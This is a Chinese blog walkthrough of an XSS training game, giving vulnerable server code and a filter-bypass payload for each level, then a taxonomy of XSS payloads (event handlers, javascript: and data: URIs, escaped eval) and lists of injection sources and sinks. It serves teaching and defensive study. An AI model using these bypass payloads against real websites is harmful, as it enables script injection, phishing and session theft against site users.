本文作者:kale 本文于“合天智汇”公众号,转载请联系公众号!

一、 题记

最近发现一个xss的攻防网站,界面很有意思,很适合寓教于乐。于是玩了一下午,特此记录下来!xss姿势众多,所以每关也只是给了一部分示例!

二、 知识前导

什么是XSS?

XSS 或者说跨站脚本是一种 Web 应用程序的漏洞,当来自用户的不可信数据被应用程序在没有验证以及反射回浏览器而没有进行编码或转义的情况下进行了处理,导致浏览器引擎执行了代码。

XSS防护逻辑

如果你可以使得一个Web应用程序满足以下规则,XSS可以被减少。

  1. 验证输入并且基于语境和按照正确的顺序转义不可信数据

输入验证

所有不可信数据应该针对Web应用程序的逻辑在处理和存储前进行验证

浏览器解析顺序

Xss小游戏通关秘籍_html

浏览器解码顺序

Xss小游戏通关秘籍_HTML_02

解码和解析顺序意味着很多东西。如果对不可信数据的编码或解码以错误的顺序或错误的环境,将再次有机会导致XSS漏洞的发生。编码或者转义对不同的环境要求不同。这些编码的顺序应该取决于应用程序的逻辑。

一个典型的不可信数据可以反射在HTML,HTML属性,脚本变量,脚本块,含状态传输的参数,URL、风格等中。不同的转义方法为了确保XSS的防护必须要在不同的环境 中实现。

三、 正文

0x00

server code:

function render (input) {
        return '<div>' + input + '</div>'
    }

input code:

<script>alert(1)</script>

第一关,没啥说的,没有任何过滤,直接输出到了js里面。

0x01

server code:

function render (input) {
        return '<textarea>' + input + '</textarea>'
    }

input code:

</textarea><script>alert(1)</script><textarea>

这一关闭合textarea标签即可

0x02

server code:

function render (input) {
        return '<input type="name" value="' + input + '">'
    }

input code:

"><script>alert(1)</script><a "
"><svg/onload=alert(1)></div>

此关闭合双引号及及input标签即可!

0x03

server code:

function render (input) {
        const stripBracketsRe = /[()]/g
        input = input.replace(stripBracketsRe, '')
        return input
    }

input code:

<script>alert`1`</script>

这里过滤括号,可以使用反引号绕过,当然可以使用html实体编码绕过

<svg><script>alert(1)</script>

0x04

server code:

function render (input) {
        const stripBracketsRe = /[()`]/g
        input = input.replace(stripBracketsRe, '')
        return input
    }

input code:

<svg><script>alert(1)</script>

在上题基础上加了个``反引号过滤,html实体编码绕过

0x05

server code:

function render (input) {
        input = input.replace(/-->/g, '😂')
        return '<!-- ' + input + ' -->'
    }

input code:

--!>
    <script>alert(1)</script>
    <!--

将html的–>注释符替换成笑脸…并且输出在html注释中。使用–!>绕过并跳出注释,html注释: 或者

0x06

server code:

function render (input) {
            input = input.replace(/auto|on.*=|>/ig, '_')
            return `<input value=1 ${input} type="text">`
    }

input code:

onmousemove
=alert(1)

过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写。这里使用换行绕过。

0x07

server code:

function render (input) {
        const stripTagsRe = /<\/?[^>]+>/gi

        input = input.replace(stripTagsRe, '')
        return `<article>${input}</article>`
    }

input code:

1、<svg/onload='alert(1)'
2、<img src=x onerror=alert(1)

正则匹配了<开头,>结尾的标签字符串,且忽略大小写,并将其替换成空。利用浏览器容错性,去掉>闭合绕过。

0x08

server code:

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

input code:

1、</style ><script>alert(1)</script>
2、</style
><script>alert(1)</script>

</style>标签替换成/* \u574F\u4EBA */,忽略大小写;在标签>闭合前加空格绕过;在标签>闭合前换行绕过;

0x09

server code:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

正则匹配以开头的输入,若无匹配返回失败。输出正则匹配字符,闭合script标签,注释掉最后的">来绕过。

input code:

https://www.segmentfault.com"></script><script>alert(1)</script>//

0x0A

server code:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

在上一题的基础上加了许多过滤;输入点在<script>标签的src属性中,可以直接引入远端js文件绕过。
alert(1)的js官方提供地址:https://xss.haozi.me/j.js。利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析。

input code:

https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

server code:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

这一关调用函数将输入全部大写。html标签大小写无影响,可以直接引入外部js文件绕过。js严格区分大小写,但在html标签内可以使用html实体编码绕过;

input code:

1、<script src="https://xss.haozi.me/j.js"></script>
2、<img src=x onerror=alert(1)>

0x0C

server code:

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

同上题的基础上过滤了script标签,忽略大小写且替换为空。由于只过滤一次,可以直接在script中插入script绕过。当然也可以采用html实体编码绕过。

input code:

<scscriptript src="https://xss.haozi.me/j.js"></scscriptript>

0x0D

server code:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

正则匹配</"‘号,且替换为空,同时输入点在//注释后;由于输入点在script标签内,完全可以直接alert,使用换行绕过//注释行,弹窗后换行再行注释’);由于过滤了/,即//和/**/的js注释失效,可以使用html注释–>闭合绕过;

input code:

alert(1);
-->

0x0E

server code:

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

正则匹配<开头的字符串,替换为<_字母,且将输入全部大写。由于匹配了<+字母,即所有标签全部gg,并别提之后的绕过大写,这里查资料发现ſ 古英语中的s的写法(ſ不等于s)。

input code:

<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

server code:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

将一些字符进行实体编码,输入点在console.error中;由于题目使用的是img标签,所有输入在标签内,而过滤的又将其转为html实体编码,所以无影响…闭合’单引号和)括号,在img中的onerror属性中alert;

input code:

');alert('1

0x10

server code:

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

这一关没什么意义,只需闭合输出;

input code:

'1';alert(1)

0x11

server code:

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

过滤一些字符;输入点在自定义参数的字符串值中,/替换为//,但"双引号过滤后的/"正好将/引入在内,过滤形同虚设…

input code:

"),alert(1)//

0x12

server code:

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

匹配"双引号,并替换为\";由于输入点在script标签外,则不能考虑html实体编码;“替换成\”,在实际输出中可以在添一个\来转义掉第一个\绕过;

input code:

\");alert(1);//

四、 总结

XSS的Payload的分类

现在可以认识Payload的了,我不得不说这里对Payload的分类可以很好的让你认识Payload。也帮助你更好的对应到执行点。

原子Payload

最低层级的Payload。

javascript代码片段

可在evalsetTimeoutsetInterval中直接执行,也可通过HTML等构成高阶Payload

javascript:javascript伪协议

结构:javascript:+js代码。可以在a标签的href属性被点击和window.location.href赋值的时候执行。

DATA URI协议

DATA URI结构:data:[][;base64], 。DATA URI数据在包含在iframesrc属性和object data属性中将会变成可执行的Payload.

字符串转义变种javascript代码片段

unicode或者Latin-1表示字符串。

eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u002"); //可执行的JS
纯HTMLPayload

这种Payload特点不具有可执行的JS,但是存在传播风险,可以把别的站点注入到被攻击网站。

包含链接跳转的HTML片段

主要是传播危害

<a href="http://ha.ck">哈哈,我来钓鱼了</a>
包含原子Payload的HTML片段Payload

script标签片段

script标签片段这种Payload可以引入外部JS或者可直接执行的script。这种Payload一般不能通过直接复制给innerHTML执行,不过在IE上可以。不过通过document.write是可以执行。

例子:

// Payload原始值:data:text/html,<script>alert('xss');</script>

var inputStr ="<script>alert('xss');<\/script>";

document.write(inputStr);

包含事件处理的HTML片段

例如:包含imgonerror, svgonload,inputonfocus等的HTML片段,都可以变成可执行的Payload。

var inputStr ="<img src=x οnerrοr=alert('xss');>";

 var inputStr ="<svg/οnlοad=alert('xss')>";

 var inputStr ="<input autofocus οnfοcus=alert('xss')>";

 xssDom.innerHTML = inputStr;

包含可执行JS属性的HTML片段

javascript伪协议

xssLink.setAttribute("href","javascript:alert('xss')")//点击可触发
var inputStr = "javascript:alert('xss')";
window.location.href = inputStr;

DATA URI

例子:

// Payload原始值:data:text/html,<script>alert('xss');</script>

//var inputStr = '<iframe src="data:text/html,<script>alert("xss");</script>"></iframe>';

// var inputStr = '<object data="data:text/html;base64,ZGF0YTp0ZXh0L2h0bWwsPHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ+"></object>';

xssDom.innerHTML = inputStr; //弹出alert("xss")

这里只是介绍了主要的Payload,还有很多不常见的Payload。

XSS攻击模型分析

这部分我们根据漏洞攻击模型分析一下XSS的执行点和注入点。分析这两点其实就是找漏洞的过程。

XSS漏洞执行点
  1. 页面直出Dom
  2. 客户端跳转链接: location.href / location.replace() / location.assign()
  3. 取值写入页面:innerHTML、document.write及各种变种。这里主要会写入携带可执行Payload的HTML片段。
  4. 脚本动态执行:eval、setTimeout()、setInterval()
  5. 不安全属性设置:setAttribute。不安全属性前面见过:a标签的href、iframe的srcobjectdata
  6. HTML5 postMessage来自不安全域名的数据。
  7. 有缺陷的第三方库。
XSS漏洞注入点

看看我们可以在哪些位置注入我们的Payload

  1. 服务端返回数据
  2. 用户输入的数据
  3. 链接参数:window.location对象三个属性hrefsearchsearch
  4. 客户端存储:cookielocalStoragesessionStorage
  5. 跨域调用:postMessage数据、Refererwindow.name

上面内容基本包含了所有的执行点和注入点。对大家进行XSS漏洞攻防很有帮助。

五、 END

这个小游戏部分题目实用性不大,但是作为寓教于乐的教材,还是不错的,页面十分有趣!最后贴出网站地址:https://xss.haozi.me/